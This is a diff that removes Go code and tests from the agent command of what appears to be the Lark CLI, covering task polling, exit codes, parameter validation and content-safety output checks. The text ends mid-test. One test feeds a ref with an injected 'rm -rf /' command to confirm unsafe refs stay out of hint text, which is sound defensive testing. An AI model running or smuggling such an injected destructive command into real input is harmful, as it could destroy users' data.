-// pollToStop polls getTask with exponential backoff (1s → 5s cap) until the
-// task hits a stop condition (terminal, input_required, or auth_required)
-// or ctx is done. A timeout is not a failure: it returns the most recent
-// task with a nil error, letting the caller print the current state (exit 0). A
-// provider GetTask error is surfaced. getTask is a bound closure over the
-// resolved spec + runtime (spec.GetTask(ctx, rt, id)), so pollToStop stays
-// provider-neutral and testable.
-func pollToStop(ctx context.Context, getTask func(context.Context, string) (*iagent.AgentTask, error), taskID string) (*iagent.AgentTask, error) {
-	const (
-		initialDelay = time.Second
-		maxDelay     = 5 * time.Second
-	)
-	var last *iagent.AgentTask
-	delay := initialDelay
-	for {
-		task, err := getTask(ctx, taskID)
-		if err != nil {
-			return last, err
-		}
-		last = task
-		if task.State.ShouldStopPolling() {
-			return task, nil
-		}
-		if ctx.Err() != nil {
-			return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
-		}
-		if !sleep(ctx, delay) {
-			// ctx canceled during backoff → observation window closed, not a
-			// task failure.
-			return last, nil
-		}
-		if delay < maxDelay {
-			if delay *= 2; delay > maxDelay {
-				delay = maxDelay
-			}
-		}
-	}
-}
-
-// semanticExitError maps a wait/watch terminal task to the semantic exit code:
-// a non-successful terminal state (failed/rejected/canceled) yields a
-// silent exit-1 signal; any other state (including a successful terminal or a
-// non-terminal stop like input_required) yields nil. A nil task yields nil.
-func semanticExitError(task *iagent.AgentTask) error {
-	if task == nil || !task.IsTerminal {
-		return nil
-	}
-	switch task.State {
-	case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
-		return output.ErrBare(1)
-	default:
-		return nil
-	}
-}
--- a/cmd/agent/common_test.go
+++ b/cmd/agent/common_test.go
@@ -1,933 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"errors"
-	"io"
-	"strings"
-	"testing"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	extcs "github.com/larksuite/cli/extension/contentsafety"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-func TestValidateParamsAgainstCard(t *testing.T) {
-	// Card mixes a required and an optional param so both loop branches run:
-	// the optional param must be skipped (the `!p.Required continue` path) while
-	// the required one is still enforced.
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{
-		{Name: "app_id", Required: true},
-		{Name: "locale", Required: false},
-	}}
-	// missing required
-	if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
-		t.Error("missing required app_id should error")
-	}
-	// provide required, omit optional: the optional param is skipped and must not error
-	m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
-	if err != nil || m["app_id"] != "app_sales" {
-		t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
-	}
-	if _, ok := m["locale"]; ok {
-		t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
-	}
-	// invalid format
-	if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
-		t.Error("--param without = should error")
-	}
-}
-
-// TestParseParams_ValueWithEquals ensures values may themselves contain '='
-// (only the first '=' splits key from value).
-func TestParseParams_ValueWithEquals(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
-	m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
-	if err != nil {
-		t.Fatalf("a value containing = should not error: %v", err)
-	}
-	if m["filter"] != "a=b" {
-		t.Fatalf("value should preserve =, got %q", m["filter"])
-	}
-}
-
-// TestParseParams_EmptyKey rejects an empty key (leading '=').
-func TestParseParams_EmptyKey(t *testing.T) {
-	if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
-		t.Error("empty key should error")
-	}
-}
-
-// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
-// card's Parameters is a validation error (subtype invalid_argument, param
-// "param:<key>") whose hint points at `agent card`; a declared optional key
-// still passes.
-func TestParseParams_UnknownKeyRejected(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
-	m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
-	if err != nil || m["foo"] != "1" {
-		t.Fatalf("a declared optional param should pass: %v %v", m, err)
-	}
-
-	_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
-	if err == nil {
-		t.Fatal("an undeclared --param should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "param:bar" {
-		t.Fatalf("param should be param:bar, got %+v", verr)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card example:agt_x") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
-func TestParseParams_NilCard(t *testing.T) {
-	m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
-	if err != nil || m["k"] != "v" {
-		t.Fatalf("nil card should parse normally: %v %v", m, err)
-	}
-}
-
-// TestParseParams_MissingRequiredIsValidation confirms the missing-required
-// error is a validation typed error with subtype invalid_argument, its param
-// carries the param: prefix, and its hint points at agent card (Task 2 review
-// leftover).
-func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
-	_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
-	if err == nil {
-		t.Fatal("missing required should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "param:app_id" {
-		t.Fatalf("param should be param:app_id, got %+v", verr)
-	}
-	if !strings.Contains(p.Hint, "agent card example:agt_x") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
-// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
-// echoed into the hint command; the hint degrades to plain guidance instead.
-func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
-	dirtyRef := "example:agt x; rm -rf /"
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
-
-	_, err := parseAndValidateParams([]string{}, card, dirtyRef)
-	if err == nil {
-		t.Fatal("missing required should error")
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Hint == "" {
-		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
-	}
-	if strings.Contains(p.Hint, dirtyRef) {
-		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
-	}
-
-	// the unknown-param path is handled the same way.
-	_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
-	if err == nil {
-		t.Fatal("an undeclared param should error")
-	}
-	p, _ = errs.ProblemOf(err)
-	if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
-		t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
-	}
-}
-
-// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
-// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
-func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
-	err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Hint == "" {
-		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
-	}
-	if strings.Contains(p.Hint, "example:agt x") {
-		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
-	}
-}
-
-// TestCapabilityError pins the unsupported_capability contract.
-func TestCapabilityError(t *testing.T) {
-	err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
-	if err == nil {
-		t.Fatal("should return an error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
-	}
-}
-
-// TestSemanticExitError maps terminal task states to the wait/watch exit code.
-func TestSemanticExitError(t *testing.T) {
-	cases := []struct {
-		state    iagent.TaskState
-		wantExit int
-	}{
-		{iagent.StateCompleted, output.ExitOK},
-		{iagent.StateFailed, 1},
-		{iagent.StateRejected, 1},
-		{iagent.StateCanceled, 1},
-		{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
-		{iagent.StateWorking, output.ExitOK},
-	}
-	for _, c := range cases {
-		task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
-		err := semanticExitError(task)
-		if got := output.ExitCodeOf(err); got != c.wantExit {
-			t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
-		}
-	}
-	// nil task should not panic and is treated as success
-	if err := semanticExitError(nil); err != nil {
-		t.Errorf("nil task should return nil, got %v", err)
-	}
-}
-
-// fakePollProvider drives pollToStop through a scripted state sequence. getTask
-// is the closure pollToStop takes (spec.GetTask bound to a runtime in
-// production); calls/err stay observable on the struct after the poll.
-type fakePollProvider struct {
-	states []iagent.TaskState
-	calls  int
-	err    error
-}
-
-func (f *fakePollProvider) getTask(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
-	if f.err != nil {
-		return nil, f.err
-	}
-	i := f.calls
-	if i >= len(f.states) {
-		i = len(f.states) - 1
-	}
-	f.calls++
-	s := f.states[i]
-	return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
-}
-
-// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
-func TestPollToStop_ReachesTerminal(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
-	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task == nil || task.State != iagent.StateCompleted {
-		t.Fatalf("should stop at completed, got %+v", task)
-	}
-	if p.calls < 3 {
-		t.Fatalf("should poll at least 3 times, got %d", p.calls)
-	}
-}
-
-// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
-func TestPollToStop_StopsOnInputRequired(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
-	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task.State != iagent.StateInputRequired {
-		t.Fatalf("should stop at input_required, got %s", task.State)
-	}
-}
-
-// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
-// current task with a nil error (exit 0), not a failure.
-func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	ctx, cancel := context.WithCancel(context.Background())
-	cancel() // expire immediately
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
-	task, err := pollToStop(ctx, p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("timeout should not be treated as failure: %v", err)
-	}
-	if task == nil || task.State != iagent.StateWorking {
-		t.Fatalf("timeout should return the current task, got %+v", task)
-	}
-}
-
-// TestPollToStop_GetTaskError surfaces a provider error.
-func TestPollToStop_GetTaskError(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
-	if _, err := pollToStop(context.Background(), p.getTask, "chat_1"); err == nil {
-		t.Fatal("a GetTask error should propagate")
-	}
-}
-
-// swapSleep replaces the package sleep with a no-op for fast tests.
-func swapSleep() func() {
-	orig := sleep
-	sleep = func(context.Context, time.Duration) bool { return true }
-	return func() { sleep = orig }
-}
-
-// swapSleepCapture replaces the package sleep with a no-op that records every
-// backoff duration it was asked to wait, so tests can assert the exponential /
-// clamp schedule. It always returns true (full duration elapsed).
-func swapSleepCapture(delays *[]time.Duration) func() {
-	orig := sleep
-	sleep = func(_ context.Context, d time.Duration) bool {
-		*delays = append(*delays, d)
-		return true
-	}
-	return func() { sleep = orig }
-}
-
-// swapSleepFalseAt replaces the package sleep with a no-op that returns false
-// (as if ctx were canceled during backoff) on the falseCall-th invocation
-// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
-// branch in isolation without racing a real ctx timeout.
-func swapSleepFalseAt(falseCall int) func() {
-	orig := sleep
-	n := 0
-	sleep = func(context.Context, time.Duration) bool {
-		n++
-		return n != falseCall
-	}
-	return func() { sleep = orig }
-}
-
-// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
-// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
-// captured schedule must never exceed maxDelay and must actually reach it.
-func TestPollToStop_ClampsDelayToMax(t *testing.T) {
-	var delays []time.Duration
-	restore := swapSleepCapture(&delays)
-	defer restore()
-
-	// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
-	p := &fakePollProvider{states: []iagent.TaskState{
-		iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
-		iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
-	}}
-	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task == nil || task.State != iagent.StateCompleted {
-		t.Fatalf("should stop at completed, got %+v", task)
-	}
-	want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
-	if len(delays) != len(want) {
-		t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
-	}
-	for i, d := range delays {
-		if d > 5*time.Second {
-			t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
-		}
-		if d != want[i] {
-			t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
-		}
-	}
-}
-
-// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
-// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
-// sleep, but sleep reports the wait was cut short, so pollToStop returns the
-// most recent task with a nil error (not a failure).
-func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
-	restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
-	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
-	}
-	if task == nil || task.State != iagent.StateWorking {
-		t.Fatalf("should return the working task observed before interruption, got %+v", task)
-	}
-	if p.calls != 1 {
-		t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
-	}
-}
-
-// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
-// returns its value; a command without the flag returns "".
-func TestJqExpr(t *testing.T) {
-	withFlag := &cobra.Command{Use: "get"}
-	withFlag.Flags().String("jq", "", "")
-	if err := withFlag.Flags().Set("jq", ".state"); err != nil {
-		t.Fatal(err)
-	}
-	if got := jqExpr(withFlag); got != ".state" {
-		t.Errorf("with a --jq flag it should return its value, got %q", got)
-	}
-
-	noFlag := &cobra.Command{Use: "list"}
-	if got := jqExpr(noFlag); got != "" {
-		t.Errorf("without a --jq flag it should return empty, got %q", got)
-	}
-}
-
-// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
-// non-empty (required for content-safety scanning to engage) and optionally
-// registers a --jq flag with the given value.
-func newEmitCmd(name, jq string) *cobra.Command {
-	root := &cobra.Command{Use: "lark-cli"}
-	agentGroup := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: name}
-	root.AddCommand(agentGroup)
-	agentGroup.AddCommand(leaf)
-	if jq != "" {
-		leaf.Flags().String("jq", "", "")
-		_ = leaf.Flags().Set("jq", jq)
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// emitFactory returns a Factory writing to fresh out/err buffers.
-func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{
-		IOStreams:        &cmdutil.IOStreams{Out: out, ErrOut: errOut},
-		ResolvedIdentity: core.AsBot,
-	}
-	return f, out, errOut
-}
-
-// csProvider is a content-safety provider stub returning a fixed alert.
-type csProvider struct{ alert *extcs.Alert }
-
-func (p *csProvider) Name() string { return "test" }
-func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
-	return p.alert, nil
-}
-
-// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
-// lands on stdout with ok=true and the identity.
-func TestEmitTask_PlainSuccess(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
-	if err := emitTask(f, cmd, task, next, "json"); err != nil {
-		t.Fatalf("emit should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK || env.Identity != string(core.AsBot) {
-		t.Errorf("ok/identity mismatch: %+v", env)
-	}
-	if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
-		t.Errorf("meta.next should appear in the output: %s", out.String())
-	}
-}
-
-// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
-// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
-// so "meta" is absent from the serialized envelope. Covers both len(next)==0
-// inputs the branch can receive.
-func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
-	for _, tc := range []struct {
-		name string
-		next []output.NextAction
-	}{
-		{"nil next", nil},
-		{"empty non-nil next", []output.NextAction{}},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			f, out, _ := emitFactory()
-			cmd := newEmitCmd("task", "")
-			task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-			if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
-				t.Fatalf("emit should not error: %v", err)
-			}
-			var env output.Envelope
-			if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-				t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-			}
-			if env.Meta != nil {
-				t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
-			}
-			if strings.Contains(out.String(), `"meta"`) {
-				t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
-			}
-		})
-	}
-}
-
-// TestEmitTask_JqFilter routes stdout through a valid jq expression.
-func TestEmitTask_JqFilter(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", ".data.state")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("jq filtering should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "working" {
-		t.Errorf("jq .data.state should output working, got %q", got)
-	}
-}
-
-// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
-func TestEmitTask_JqFilterError(t *testing.T) {
-	f, _, _ := emitFactory()
-	cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err == nil {
-		t.Fatal("a malformed jq expression should error")
-	}
-}
-
-// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
-// without blocking output.
-func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("warn mode should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("unmarshal: %v (%s)", err, out.String())
-	}
-	if env.ContentSafetyAlert == nil {
-		t.Error("warn mode should attach the alert to the envelope")
-	}
-}
-
-// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
-// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
-// still filters stdout.
-func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, errOut := emitFactory()
-	cmd := newEmitCmd("task", ".data.state")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("warn+jq should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "working" {
-		t.Errorf("jq output should be working, got %q", got)
-	}
-	if !strings.Contains(errOut.String(), "content safety alert") {
-		t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
-	}
-}
-
-// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
-// to stdout.
-func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	err := emitTask(f, cmd, task, nil, "json")
-	if err == nil {
-		t.Fatal("block mode should return BlockErr")
-	}
-	if !errs.IsContentSafety(err) {
-		t.Errorf("should be a content-safety error, got %T", err)
-	}
-	if out.Len() > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.String())
-	}
-}
-
-// noPretty is a no-op pretty renderer for the scanAndEmitData helper tests,
-// which exercise the json path only.
-func noPretty(io.Writer) {}
-
-// TestScanAndEmitData_PlainSuccess pins the shared list/context emit helper's
-// happy path: no alert + json ⇒ the full envelope (ok + identity + data + meta)
-// lands on stdout.
-func TestScanAndEmitData_PlainSuccess(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1"}}}
-
-	if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
-		t.Fatalf("emit should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK || env.Identity != string(core.AsBot) {
-		t.Errorf("ok/identity mismatch: %+v", env)
-	}
-	if env.Meta == nil || env.Meta.Count != 1 {
-		t.Errorf("meta.count should be 1, got %+v", env.Meta)
-	}
-}
-
-// TestScanAndEmitData_ContentSafetyBlocked pins that the shared list/context
-// emit helper now runs content-safety scanning (these payloads carry untrusted
-// agent text): in block mode it returns the typed block error and writes
-// nothing.
-func TestScanAndEmitData_ContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1", Summary: "leaked secret"}}}
-
-	err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty)
-	if err == nil {
-		t.Fatal("block mode should return BlockErr")
-	}
-	if !errs.IsContentSafety(err) {
-		t.Errorf("should be a content-safety error, got %T", err)
-	}
-	if out.Len() > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.String())
-	}
-}
-
-// TestScanAndEmitData_ContentSafetyAlertWarn pins that a warn-mode alert is
-// attached to the envelope without blocking output.
-func TestScanAndEmitData_ContentSafetyAlertWarn(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	data := map[string]interface{}{"tasks": []iagent.TaskSummary{{TaskID: "chat_1"}}}
-
-	if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
-		t.Fatalf("warn mode should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("unmarshal: %v (%s)", err, out.String())
-	}
-	if env.ContentSafetyAlert == nil {
-		t.Error("warn mode should attach the alert to the envelope")
-	}
-}
-
-// TestTaskListContentSafetyBlocked pins the wiring at the task-list leaf: its
-// summaries carry untrusted agent text, so a block-mode content-safety hit
-// aborts the emit with the typed block error and writes nothing (task list used
-// to PrintJson directly and bypass scanning).
-func TestTaskListContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	opts, _ := taskTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listTasks: func(string) ([]iagent.TaskSummary, error) {
-		return []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, Summary: "untrusted"}}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	err := agentTaskListRun(opts)
-	if err == nil || !errs.IsContentSafety(err) {
-		t.Fatalf("task list should block on a content-safety hit, got %T: %v", err, err)
-	}
-	if len(out.Bytes()) > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
-	}
-}
-
-// TestContextGetContentSafetyBlocked pins the same wiring at context get, whose
-// active_task.Summary is untrusted agent text.
-func TestContextGetContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{
-			ContextID: ctxID, TaskCount: 1,
-			ActiveTask: &iagent.TaskSummary{TaskID: "chat_1", State: iagent.StateCompleted, Summary: "untrusted"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	err := agentContextGetRun(opts)
-	if err == nil || !errs.IsContentSafety(err) {
-		t.Fatalf("context get should block on a content-safety hit, got %T: %v", err, err)
-	}
-	if len(out.Bytes()) > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
-	}
-}
-
-// resolveCmd builds an `agent card` command carrying an `--as` flag. When
-// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
-// the passed identity verbatim (needed to exercise the identity-check branch).
-func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: "card"}
-	root.AddCommand(group)
-	group.AddCommand(leaf)
-	leaf.Flags().String("as", "", "identity")
-	if asChanged {
-		if err := leaf.Flags().Set("as", asVal); err != nil {
-			t.Fatal(err)
-		}
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// TestResolveSpec_Success resolves a valid example ref under an explicit bot
-// identity and returns a non-nil spec offline (no client).
-func TestResolveSpec_Success(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	prov, spec, agentID, id, err := resolveSpec(f, cmd, "example:echo", "bot")
-	if err != nil {
